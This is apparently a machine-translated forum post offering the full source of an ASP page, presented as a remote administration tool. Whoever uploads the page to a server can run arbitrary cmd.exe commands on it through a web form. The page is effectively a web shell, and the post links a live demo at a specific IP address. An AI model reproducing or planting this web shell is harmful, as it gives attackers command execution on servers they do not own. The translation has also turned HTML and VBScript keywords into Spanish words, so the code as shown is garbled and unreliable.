Recientemente estoy escribiendo una herramienta de administración remota de servidores (tomando prestado parte del código de ASE y agregando control remoto).
Ejecutar comandos, cargar, servicios y otras funciones. ), obtuvo A Xin, ADAM, Chen'er, Ghost_happy,
Estoy muy conmovido por la ayuda de Crazybird y muchos otros internautas, por lo que planeo publicar todo el código original después de escribirlo.
Publicado y puede ser modificado y distribuido libremente. Todo lo que tienes que hacer es cargar el programa en un servidor habilitado para ASP.
Vale la pena señalar que el programa debe ser compatible con FileSystemObject para ejecutarse. El siguiente es el comando de ejecución remota.
Código original. Cópielo y guárdelo como ejecutar.asp.
Dirección de demostración: http://210.160.4.24/scripts/execute.asp
Es una máquina japonesa de mala calidad, por lo que los caracteres chinos serán confusos.
<html>
<cabeza>
<meta http-equiv=Contenido-Idioma contenido=zh-cn>
<meta http-equiv=Tipo de contenido content=text/html charset=gb2312>
<meta nombre=GENERADOR contenido=Microsoft FrontPage 4.0>
<meta nombre=ProgId contenido=FrontPage.Editor.Document>
<título>Ejecutar comando</título>
<estilo>
<!--
tabla, cuerpo {familia de fuente: 宋体; tamaño de fuente: 9pt}
a{ familia de fuentes: tamaño de fuente: 9pt; color: rgb(0,32,64);
decoración de texto: ninguna}
a:hover{ familia de fuentes: color; rgb(255,0,0); decoración de texto: ninguna;
}
a:visitado{color:rgb(128,0,0)}
-->
</estilo>
</cabeza>
<color del fondo del cuerpo=#000000 texto=#C0C0C0>
<método de formulario=acción POST=ejecutar.asp>
<p align=left>Ingrese el comando a ejecutar: <tipo de entrada=nombre de texto=ml
tamaño=20 valor=dir c:/ estilo=color de fondo: #C0C0C0;
#000000; estilo de borde: sólido; ancho de borde: 1>
<tipo de entrada=valor de envío=nombre de ejecución=estilo B1=color de fondo:
#C0C0C0; color: #000000; borde: 1 ranura #C0C0C0></p>
</formulario>
<%
ml=solicitud.formulario(ml)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'Modificar
Ruta whoamI.txt a un directorio con permisos de escritura
Establecer WShShell = Server.CreateObject(WScript.Shell)
RetCode = WShShell.Run(cmd, 1, Verdadero)
si RetCode = 0 entonces
Respuesta.escribir ml &
¡El comando Response.write se ejecutó exitosamente! &<br><br>
demás
¡Error en la ejecución del comando Response.write! Permisos insuficientes o el programa no se puede ejecutar en estado DOS
! &<br><br>
terminar si
'respuesta.escribir cmd
funciónhtmlencode(cadena)
resultado oscuro
tenue l
si es NULL (cadena) entonces
código html=
función de salida
terminar si
l=len(cadena)
resultado=
dimí
para i = 1 a l
seleccionar caso mid(str,i,1)
caso <
resultado=resultado+<
caso >
resultado=resultado+>
caso chr(34)
resultado=resultado+
caso&
resultado=resultado+&
caso mas
resultado=resultado+medio(cadena,i,1)
finalizar seleccionar
próximo
htmlencode=resultado
función final
Establecer fs =CreateObject(Scripting.FileSystemObject)
Establezca thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'Lea el archivo, no lo olvide
Modifica la ruta.
contador=0
hacer mientras no este archivo.atendofstream
contador=contador+1
esta línea=htmlencode(estearchivo.readline)
respuesta.escribe esta línea&<br>
bucle
este archivo.Cerrar
establecer fs = nada
%>
</cuerpo>
</html>